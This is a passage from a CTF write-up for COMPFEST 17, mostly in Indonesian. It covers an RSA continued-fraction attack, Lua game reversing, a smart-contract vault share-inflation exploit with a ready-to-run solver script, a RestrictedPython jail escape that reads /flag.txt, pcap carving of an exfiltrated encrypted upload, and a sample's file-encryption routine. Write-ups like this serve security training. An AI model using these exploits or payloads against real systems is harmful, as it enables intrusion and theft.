60148405939939915809358412642030832536063132712032444678923935170529814866763769224 phi_approx = (N+1)**2 print("Mencari konvergen dari e/phi_approx...") convergents = continued_fraction_convergents(e, phi_approx) for i, (z_prime, k) in enumerate(convergents): if i == 0: continue if z_prime == 0: continue if (i % 5 == 0): print(f"Mencoba konvergen ke-{i}...") if (e * k + 1) % z_prime != 0: continue phi_candidate = (e * k + 1) // z_prime s_squared = (N+1)**2 - phi_candidate is_sq, s = is_perfect_square(s_squared) if is_sq: print(f"\n[+] Kandidat (p+q) ditemukan pada konvergen ke-{i}!") delta = s**2 - 4*N is_sq_delta, sqrt_delta = is_perfect_square(delta) if is_sq_delta: p = (s - sqrt_delta) // 2 q = (s + sqrt_delta) // 2 if p * q == N: print("[+] Berhasil! p dan q ditemukan.") phi_rsa = (p - 1) * (q - 1) d_rsa = pow(e, -1, phi_rsa) m = pow(ct, d_rsa, N) flag = long_to_bytes(m) print(f"\nFLAG: {flag.decode()}") return print("[-] Gagal menemukan p dan q.") solve() ``` 3. **Hasil**: Setelah menjalankan skrip, ia akan mulai menguji setiap konvergen. Setelah beberapa saat (pada konvergen ke-579), ia akan menemukan `phi` yang benar, berhasil memfaktorkan `N`, dan mendekripsi *ciphertext*. ![image](https://hackmd.io/_uploads/By7GuZ_txl.png) **Flag: COMPFEST17{wait__that_works_here_too__thats_cool_anyway_see_you_at_the_finals_75d3e3d44a}** --- ## <a id=Reverse-Engineering> Reverse Engineering </a> ### <center><a id="67"> Burhansweeper </a></center> <center>100</center> <center>`Author: AdamRayyan` bur bur bur bur burhanpedia</center> Diberikan file game.zip ![image](https://hackmd.io/_uploads/SJwITbdYle.png) Ketika di extract game.zip ![image](https://hackmd.io/_uploads/SkocpbuKxe.png) Terdapat game.exe dan beberapa dll terkait lua, maka dari itu disini saya langsung kepikiran untuk mengubah nya menjadi .zip karena common ctf reverse ubah extension nya jadi zip dan juga game.exe ini dicompile menggunakan lua. Ketika di ubah jadi .zip dan di extract kita mendapatkan source dari game.exe yang berua lua output dan harus di decompile untuk membaca source nya ![image](https://hackmd.io/_uploads/rkACpW_Yeg.png) Disini saya menggunakan online tools decompiler https://luadec.metaworm.site/ ![image](https://hackmd.io/_uploads/HJ7XAWdtll.png) Dan disini saya langsung lempar source-source tersebut ke chatgpt untuk membantu saya ngereverse dan mendapatkan flag nya # Bedah File ## `main.lua` * Menyiapkan UI, buat minefield `mf = minefield:new(SIZE,SIZE,SIZE)`. * Win check: jika `CELLS_CLICKED == TOTAL_SAFE` maka memanggil `enc.drawWin()` yang mencetak plaintext hasil dekripsi. ## `enc.lua` Poin krusial: ```lua -- sort & serialize local function to_str(t) return table.concat(v, ";") end -- "x,y,z;..." function enc.hash(CLICKED) sort_lexicographically(CLICKED) return love.data.encode("string","base64", love.data.hash("sha384", serialize(CLICKED))) end -- XOR helper (data ⊕ key, key diputar) function enc.decrypt(ct_b64, key_b64) return xor( base64_decode(ct_b64), base64_decode(key_b64) ) end function enc.drawWin() local msg = enc.decrypt(_G.WIN_MSG, enc.hash(_G.CLICKED)) love.graphics.print(msg, center_x, center_y) end ``` > Catatan: implementasi XOR memod indeks kunci dengan **panjang data**, sehingga aman bila `|key| ≥ |cipher|`. Dalam build ini hal tersebut terpenuhi. ## `cell.lua` * `isSafe()` menentukan apakah koordinat `(x,y,z)` aman. Caranya: 1. Hitung tiga nilai hex 16 digit berbasis SHA-256 dari kombinasi linear/bitwise `x,y,z` (fungsi `r7_1`). 2. Cek apakah **masing-masing** dari tiga nilai itu **ada** di tiga whitelist (`r4_1`, `r5_1`, `r6_1`). 3. Jika ketiganya match ⇒ `true` (aman). Artinya: peta ranjau **tetap** dan bisa dihasilkan ulang tanpa bermain. ## `elems.lua` * `mousePressedMines(...)` saat klik: * Jika sel safe ⇒ tandai `revealed`, **push `{x,y,z}` ke `_G.CLICKED`**. * Jika mine ⇒ set `hitMine = true` (gameover cepat). * Nilai kemenangan `TOTAL_SAFE = 170`. --- # Strategi Solve (tanpa main manual) **Tujuan**: bangun `CLICKED` berisi *semua* sel aman dengan memanggil `cell.isSafe()` untuk semua `(x,y,z)` di `[1..32]^3`, lalu hitung `enc.hash(CLICKED)` dan dekripsi `_G.WIN_MSG`. ### A. Patch kecil di game (langsung cetak kunci / flag) Tambahkan ke **`main.lua`**: ```lua local cell = require("cell") local enc = require("enc") local function build_all_safe() _G.CLICKED = {} for x=1,_G.SIZE do for y=1,_G.SIZE do for z=1,_G.SIZE do local c = cell:new(x,y,z) if c:isSafe() then table.insert(_G.CLICKED, {x,y,z}) end end end end -- verifikasi jumlah aman print("SAFE_CNT", #_G.CLICKED) -- harus 170 print("HASH_B64", enc.hash(_G.CLICKED)) end function love.keypressed(k) if k == "k" then build_all_safe() -- cetak HASH_B64 di console elseif k == "f" then build_all_safe() -- dekode flag langsung di layar seperti drawWin love.graphics.setNewFont(24) local msg = enc.decrypt(_G.WIN_MSG, enc.hash(_G.CLICKED)) print("FLAG:", msg) end end ``` Jalankan, tekan **`k`** (lihat `SAFE_CNT=170` dan `HASH_B64=...`). Tekan **`f`** untuk mencetak flag langsung. ### B. Dekripsi offline (pakai HASH\_B64 dari game) Jika kamu hanya mau offline: ```python # solve.py import base64 WIN_MSG_B64 = "6ktTOQqLL6ltQzBqNFy0qsIixCMlCLeh3f1tQ2L+oPGSZAHv/f+UxeGEngJC0Fvb3XYuNnmvTM9tFXg6Wgb9" HASH_B64 = "<paste dari console>" ct = base64.b64decode(WIN_MSG_B64) key = base64.b64decode(HASH_B64) pt = bytes([c ^ key[i % len(ct)] for i, c in enumerate(ct)]) # mengikuti modul di enc.lua print(pt.decode()) ``` Output: ``` COMPFEST17{i_m4y_h4v3_4_s3v3r3_4dd1c710n_to_b4l4tr0_5a021a3917} ``` --- # Catatan Teknis / Gotcha * `minefield.lua` hasil dekompilasi terlihat ada `while true` yang redundant, tapi struktur array `cells[x][y][z]` tetap terisi `cell:new(...)` sehingga fungsi klik bekerja. * `enc.hash` melakukan **sort leksikografis** atas `(x,y,z)` sebelum hashing. Kalau kamu membangun `CLICKED` sendiri, **urutkan** dulu agar hash identik dengan game. * `TOTAL_SAFE = 170` → verifikasi cepat bahwa enumerasi sel aman sudah benar sebelum dekripsi. **Flag : COMPFEST17{i_m4y_h4v3_4_s3v3r3_4dd1c710n_to_b4l4tr0_5a021a3917}** --- ## <a id=Blockchain> Blockchain </a> ### <center><a id="69"> Phantom-Thieves </a></center> <center>100</center> <center>`Author: xymbol` Let's infiltrate this palace and make the greedy king got trapped! </center> Sip, kita bikin ulang write-up nya dengan gaya anak CTF biar enak dibaca, terus aku kasih solver sekali jalan yang langsung bisa kamu pakai. --- Challenge blockchain CTF ini kasih kita 3 komponen penting: * `Setup.sol` – nge-deploy kontrak target + check `isSolved()` * `Fortress.sol` – target kontrak yang harus dieksploit * RPC endpoint + private key + setup address Flag didapat kalau `Setup.isSolved()` return `true`. --- ## Analisis Kontrak ### Setup * Deploy `Fortress` dengan 0.5 ETH. * Fungsi `isSolved()` → `staticcall` ke `Fortress.openVault()`. * Return `true` **hanya kalau** `openVault()` revert dengan error custom `NoShares()`. ### Fortress * Punya PhantomCoin (ERC20 sederhana), beli via `buyTokens()` (ETH → token 1:1). * Punya Vault: * `deposit()` → bikin shares proporsional dengan `amount / balance`. * `withdraw()` → normal, tapi **kalau owner (Fortress) narik, dapet semua token**. * `openVault()`: ```solidity wouldMint = currentShares == 0 ? depositAmount : (depositAmount * currentShares) / currentBalance; if (wouldMint == 0) revert NoShares(); // lanjut deposit + withdraw (gagal karena staticcall) ``` * `depositAmount = 0.5 ether` (fixed dari constructor). ### Bug Karena `isSolved()` jalanin `openVault()` pakai **staticcall**, semua perubahan state pasti gagal. Satu-satunya cara supaya dianggap **solved** → bikin `openVault()` **langsung revert dengan `NoShares()`**. Trik: * **Seed** vault dengan **1 share** (deposit 1 wei token). * **Donasi token** langsung ke vault (transfer, bukan deposit) → balance vault gede tapi shares tetap 1. * Rumus `(0.5 ether * 1) / (balance vault ≥ 0.5 ether)` hasilnya `0`. * ⇒ Revert `NoShares()` ⇒ `isSolved() = true`. --- ## Eksploitasi ### Step manual 1. Beli token pakai ETH. 2. Approve + deposit 1 wei ke vault → totalShares = 1. 3. Transfer 0.6 ether token ke vault (donasi langsung). 4. Cek `isSolved()` → `true`. ### Solver (bash script pakai Foundry `cast`) Simpan sebagai `solver.sh`: ```bash #!/bin/bash set -e RPC="http://ctf.compfest.id:7401/3798fd4f-6c3e-464f-975e-7ef69c5120c9" PK="fac7539f4b1771532d9f6ca9439d689640a1236a9fd179fda7bc6dbe336c80ce" SETUP="0x7aF4eA209C8c6D67E98aAD055441F12cf700f302" # ambil alamat Fortress, Token, Vault FORTRESS=$(cast call $SETUP "challenge()(address)" --rpc-url $RPC) TOKEN=$(cast call $FORTRESS "token()(address)" --rpc-url $RPC) VAULT=$(cast call $FORTRESS "vault()(address)" --rpc-url $RPC) echo "[*] Fortress = $FORTRESS" echo "[*] Token = $TOKEN" echo "[*] Vault = $VAULT" # 1) beli 1 ETH PhantomCoin echo "[*] Beli 1 ETH token..." cast send $TOKEN "buyTokens()" --value 1ether --private-key $PK --rpc-url $RPC >/dev/null # 2) seed 1 share echo "[*] Approve + deposit 1 wei..." cast send $TOKEN "approve(address,uint256)" $VAULT 1 --private-key $PK --rpc-url $RPC >/dev/null cast send $VAULT "deposit(uint256)" 1 --private-key $PK --rpc-url $RPC >/dev/null # 3) donasi token 0.6 ETH echo "[*] Donasi 0.6 token ETH ke vault..." cast send $TOKEN "transfer(address,uint256)" $VAULT 600000000000000000 --private-key $PK --rpc-url $RPC >/dev/null # 4) cek solved echo -n "[*] isSolved? " cast call $SETUP "isSolved()(bool)" --rpc-url $RPC ``` Jalankan: ```bash chmod +x solver.sh ./solver.sh ``` Output akhir: ![Screenshot (570)](https://hackmd.io/_uploads/H1AuEb_Yee.png) --- ![Screenshot (569)](https://hackmd.io/_uploads/rknwNZdKll.png) **Flag :COMPFEST17{y0u_are_p0werless_since_y0u_cann0t_d0_the_rug_n0w_huh?_b62ecb3383}** --- ## <a id=Miscellanous> Miscellanous </a> ### <center><a id="77"> Sanity Check </a></center> <center>100</center> <center>Welcome to COMPFEST 17! Hope you enjoy the challenges :) COMPFEST17{s3m4ng4t_4nd_s33_y0u_0n_f1n4l}</center> **Flag : ** --- ### <center><a id="79"> ezzz jail [revenge] </a></center> <center>100</center> <center>`Author: tipsen` just your normal ez jail</center> ## Analisis Source Potongan inti dari `chall.py`: ```python from RestrictedPython import compile_restricted, safe_globals from safe_exceptions import EXCEPTIONS_TO_REMOVE error = RuntimeError('error') def get_globals(): safe_globals_copy = safe_globals.copy() for exc in EXCEPTIONS_TO_REMOVE: if exc in safe_globals_copy['__builtins__']: del safe_globals_copy['__builtins__'][exc] safe_globals_copy['__builtins__']['error'] = error safe_globals_copy['__builtins__']['open'] = open return safe_globals_copy def run_code(code): try: bytecode = compile_restricted(code, '<input>', 'exec') exec(bytecode, get_globals()) except Exception as e: print(f"Error: {e}") ``` Poin penting: * Hampir semua exception bawaan dihapus dari builtins (lihat `safe_exceptions.py`). * `open()` sengaja ditambahkan kembali ke builtins. * `error = RuntimeError('error')` juga disisipkan ke builtins. * Output hanya muncul ketika ada exception, karena wrapper mencetak `Error: {e}`. Konsekuensi: * `print()` di dalam jail tidak bisa dipakai karena diganti `_print_` yang tidak tersedia. * Exception names seperti `RuntimeError`, `AssertionError` hilang, tapi `assert` masih bisa dipakai karena menghasilkan exception secara implisit. * Semua atribut yang diawali `_` diblokir, jadi `__class__`, `__import__`, dll tidak bisa diakses. --- ## Strategi Kita tidak bisa menggunakan `print`. Jalan keluarnya adalah memaksa jail melempar exception yang mengandung flag sebagai pesan. Wrapper di luar sandbox akan mencetak pesan exception tersebut. Trik paling sederhana adalah menggunakan `assert`: ```python assert 0, open("/flag.txt").read() ``` `assert` akan selalu gagal (karena kondisi `0` = False) dan pesan exception adalah isi file flag. Pesan tersebut dicetak oleh wrapper di luar sandbox. --- ## Eksploitasi Payload harus dikirim dengan prefix `b64:` karena server mendukung input base64. Encode payload: ```bash echo -n 'assert 0, open("/flag.txt").read()' | base64 ``` Hasil: ``` YXNzZXJ0IDAsIG9wZW4oImZsYWcudHh0IikucmVhZCgp ``` Final payload: ``` b64:YXNzZXJ0IDAsIG9wZW4oImZsYWcudHh0IikucmVhZCgp ``` --- ## PoC ![image](https://hackmd.io/_uploads/rkwCtbOKlg.png) Flag berhasil keluar sebagai pesan error. --- **Flag : COMPFEST17{w3lP_s0Rry_tHe_PReViou$_v3rS!On_W4$_UNINteNDEd_utfTtFRMX9mgwPzu}** --- ## <a id=Forensics> Forensics </a> ### <center><a id="70"> Meowrine Corp </a></center> <center>244</center> <center>`Author: Karev` A hacker recently got access to the computer of a high ranking admiral of the meowrine corp. We managed to kick him out and made sure nothing was stolen. However something weird has been going on over our network now. We suspect it is related to the recent hack so to help you, I've given you the logs during the hack and the network capture. Can you trace back the events that happened?</center> ## Bahan & Tools * Folder **Logs/** berisi ratusan `.evtx` * PCAP: **sussy.pcapng** * Linux shell + **tshark**, **xxd**, **python3** (dengan `pycryptodome` untuk AES) > Semua perintah di bawah dijalankan dari direktori kerja tempat `Logs/` dan `sussy.pcapng` berada. --- ## 1) Triage jaringan: temukan upload mencurigakan Cari semua HTTP request di pcap dan lihat mana yang POST: ```bash tshark -r sussy.pcapng -Y 'http.request.method=="POST"' \ -T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport \ -e tcp.stream -e http.request.uri -e http.content_length | column -t ``` **Temuan penting:** * **Client (korban)**: `192.168.18.84` * **Server**: `192.168.18.76:8080` * **URI**: `/upload` * **Stream**: `tcp.stream == 4` * **Content-Length**: **2 064 032** byte * **User-Agent** (dari request detail): `WindowsPowerShell/5.1...` → upload via PowerShell. --- ## 2) Carving: keluarkan POST body dari PCAP Ambil payload arah **client → server** pada stream 4, ubah hex ke biner: ```bash tshark -r sussy.pcapng -Y 'tcp.stream==4 && ip.src==192.168.18.84' \ -T fields -e tcp.payload | tr -d '\n\r' | xxd -r -p > client_stream4.raw ``` Potong header HTTP (hingga `\r\n\r\n`), sisakan **POST body**: ```bash python3 - <<'PY' import re d = open("client_stream4.raw","rb").read() i = d.find(b"POST /upload") j = d.find(b"\r\n\r\n", i) body = d[j+4:] if (i!=-1 and j!=-1) else b"" open("aa_.enc","wb").write(body) print("carved", len(body), "bytes -> aa_.enc") PY ``` Validasi ukuran & alignment blok kripto: ```bash python3 - <<'PY' import os n=os.path.getsize("aa_.enc") print("size:", n, " (n-32)%16 =", (n-32)%16) PY ``` Keluaran harus menunjukkan `(n-32) % 16 == 0` → mengisyaratkan **dua segmen 16-byte** (kemungkinan **Key** dan **IV**) + ciphertext kelipatan 16 (mode blok seperti **AES-CBC**). --- ## 3) Konfirmasi nama file di sisi server (bukti) Rakit arah **server → client** pada stream yang sama dan ambil body HTTP 200 OK: ```bash tshark -r sussy.pcapng -Y 'tcp.stream==4 && ip.src==192.168.18.76' \ -T fields -e tcp.payload | tr -d '\n\r' | xxd -r -p > server_stream4.raw python3 - <<'PY' import re d=open("server_stream4.raw","rb").read() i=d.find(b"HTTP/1.1 200"); i = i if i!=-1 else d.find(b"HTTP/1.0 200") j=d.find(b"\r\n\r\n", i) hdr=d[i:j] m=re.search(br'Content-Length:\s*(\d+)',hdr,re.I) body=d[j+4:j+4+int(m.group(1))] if (j!=-1 and m) else d[j+4:] open("server_stream4.body","wb").write(body) print("wrote", len(body), "bytes") PY strings -n 6 server_stream4.body | sed -n '1,3p' ``` **Output bukti** (inti kalimat): `File saved to ./uploads/-B$fKO1s2s3xYA_.enc` → Jadi **`aa_.enc`** yang kita carve = konten file server `./uploads/-B$fKO1s2s3xYA_.enc`. --- ## 4) Triage Windows logs singkat (mengarahkan ke AES-CBC) Dari ratusan EVTX, yang paling berguna adalah: * `Microsoft-Windows-PowerShell/Operational` → **Event ID 4104** (Script Block Logging) Banyak event yang berisi potongan base64/perintah instal/boot/update—cukup sebagai **indikasi** aktivitas skrip dan menguatkan asumsi **AES-CBC** (karena ukuran & alignment cocok). Detail script-block tidak kita perlukan untuk dekripsi final karena kunci/IV ternyata disimpan **di dalam** berkas. ![image](https://hackmd.io/_uploads/Sk5lhMdKgl.png) --- ## 5) Analisis kripto: susunan blok yang benar Coba beberapa susunan 16-byte awal/akhir. Susunan yang **berhasil**: * **Key** = 16 byte **awal** berkas * **IV** = 16 byte **terakhir** berkas * **Ciphertext (CT)** = **tengah** (antara key & iv) Artinya file tersusun: `KEY | CT | IV` → **AES-128-CBC** (kunci 16 byte langsung dipakai, bukan PBKDF2). ### Skrip dekripsi ```python # decrypt_meowrine.py from Crypto.Cipher import AES from Crypto.Util.Padding import unpad data = open("aa_.enc","rb").read() key = data[:16] # 16 byte pertama iv = data[-16:] # 16 byte terakhir ct = data[16:-16] # sisanya (ciphertext) aes = AES.new(key, AES.MODE_CBC, iv) pt = unpad(aes.decrypt(ct), 16) open("file.bin","wb").write(pt) print("decrypted -> file.bin") ``` Jalankan: ```bash python3 decrypt_meowrine.py file file.bin ``` **Deteksi magic**: `file.bin: Zip archive data, at least v2.0 to extract` --- ## 6) Ekstraksi arsip & ambil flag ```bash unzip file.bin # hasil: # Hexpaws.pdf # IMPORTANT.txt # Soldier 1.jpg # Soldier 2.jpg # Soldier 3.jpg ``` Buka **Hexpaws.pdf** → flag tercetak di bagian bawah halaman. --- ## 7) Flag **`COMPFEST17{powershell_script_logging_is_very_powerfull_b4ffdc5da5}`** --- ## Timeline singkat & IoC * 14:06:13 WIB — `192.168.18.84 → 192.168.18.76:8080` **POST /upload** (User-Agent: `WindowsPowerShell/5.1…`, body **2 064 032** byte). * Server menjawab: **“File saved to ./uploads/-B\$fKO1s2s3xYA\_.enc”**. * EVTX (PowerShell/Operational 4104) berisi potongan eksekusi yang mengarah ke penggunaan skrip untuk upload/enkripsi. **IoC jaringan**: * Host korban: `192.168.18.84` * Server: `192.168.18.76:8080` * URI: `/upload` * UA: `WindowsPowerShell/5.1…` --- **Flag : COMPFEST17{powershell_script_logging_is_very_powerfull_b4ffdc5da5}** --- ### <center><a id="65"> crash out </a></center> <center>275</center> <center>`Author: ultradiyow` Evan installed and executed a supposedly safe file. It caused his laptop to hang, several data to become corrupted, and new password-protected files to show up. The password popped up for a while, but I didn't memorize it. Can you get me back my file? </center> Were given the flag with the extension .ad1, from quick googling, we find out that we can use FTK Imager to view it, since im using linux, I decided that the best alternative was [AD1Tools](https://github.com/al3ks1s/AD1-tools). Since it is a bit of a niche tools, I need to compile it myself ![image](https://hackmd.io/_uploads/r1lefG_Kxg.png) Welp, it didnt work, thankfully there's the ./ad1mount, which i can use ![image](https://hackmd.io/_uploads/HJxRMM_tlx.png) There's some interesting file i found, especially this zip on the Evan's documents, and the enc file inside the Downloads directory. Because the file name were not encrypted, so i can see that there's a python script, i suspect this is the script that used to decrypt the file.enc ![image](https://hackmd.io/_uploads/rkh9PGuFxx.png) Were kinda stuck there for a while, we found that there's some dump file on the AppData ![image](https://hackmd.io/_uploads/rJj7uMuYxx.png) After a while of searching, we found that the zip is mentioned on the crashlogs (chrome updater dmp) We found this script: ```python= import sys import hashlib import getpass HEADER_SIZE = 16 def derive_key(password: str, length: int = 32) -> bytes: return hashlib.sha256(password.encode()).digest()[:length] def transform(byte, key_byte, i): xored = byte ^ key_byte rotation = i % 3 return ((xored << rotation) | (xored >> (8 - rotation))) & 0xFF def encrypt(input_file, output_file, password): key = derive_key(password) with open(input_file, 'rb') as f: data = f.read() encrypted = bytearray(data[:HEADER_SIZE]) for i, byte in enumerate(data[HEADER_SIZE:], start=HEADER_SIZE): key_byte = key[i % len(key)] ^ (i & 0x0F) encrypted.append(transform(byte, key_byte, i)) with open(output_file, 'wb') as f: f.write(encrypted) print(f"Encrypted {input_file} -> {output_file}") if __name__ == "__main__": if len(sys.argv) != 4: print("Usage:") print("python3 script.py encrypt input.jpg output.enc") sys.exit(1) mode, input_file, output_file = sys.argv[1:4] password = getpass.getpass("Enter password: ") if mode == "encrypt": encrypt(input_file, output_file, password) else: print("Invalid") ``` ChatGPT Throws this code to reverse: ```python= import sys import hashlib import getpass HEADER_SIZE = 16 def derive_key(password: str, length: int = 32) -> bytes: return hashlib.sha256(password.encode()).digest()[:length] def inverse_transform(byte, key_byte, i): rotation = i % 3 # rotate right instead of left rotated = ((byte >> rotation) | (byte << (8 - rotation))) & 0xFF return rotated ^ key_byte def decrypt(input_file, output_file, password): key = derive_key(password) with open(input_file, 'rb') as f: data = f.read() decrypted = bytearray(data[:HEADER_SIZE]) for i, byte in enumerate(data[HEADER_SIZE:], start=HEADER_SIZE): key_byte = key[i % len(key)] ^ (i & 0x0F) decrypted.append(inverse_transform(byte, key_byte, i)) with open(output_file, 'wb') as f: f.write(decrypted) print(f"Decrypted {input_file} -> {output_file}") if __name__ == "__main__": if len(sys.argv) != 4: print("Usage:") print("python3 script.py decrypt input.enc output.jpg") sys.exit(1) mode, input_file, output_file = sys.argv[1:4] password = getpass.getpass("Enter password: ") if mode == "decrypt": decrypt(input_file, output_file, password) else: print("Invalid") ``` here's what i got ![image](https://hackmd.io/_uploads/ByP3tfOYeg.png) ```shell $ file result.png result.png: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, description=Galaxy, orientation=upper-left, xresolution=93, yresolution=101, resolutionunit=2], baseline, precision 8, 1080x1024, components 3 ``` ![image](https://hackmd.io/_uploads/H1O_9M_teg.png) using imhex to make my life easier, i just changed the image to 1080x1080 ![image](https://hackmd.io/_uploads/ryCccfdYee.png) Yep, the usual cropped image **Flag : COMPFEST17{cr4sh1ng_1nt0_th3_v0001d_b00m_boOm_B00M!!_b51a77934b}** ---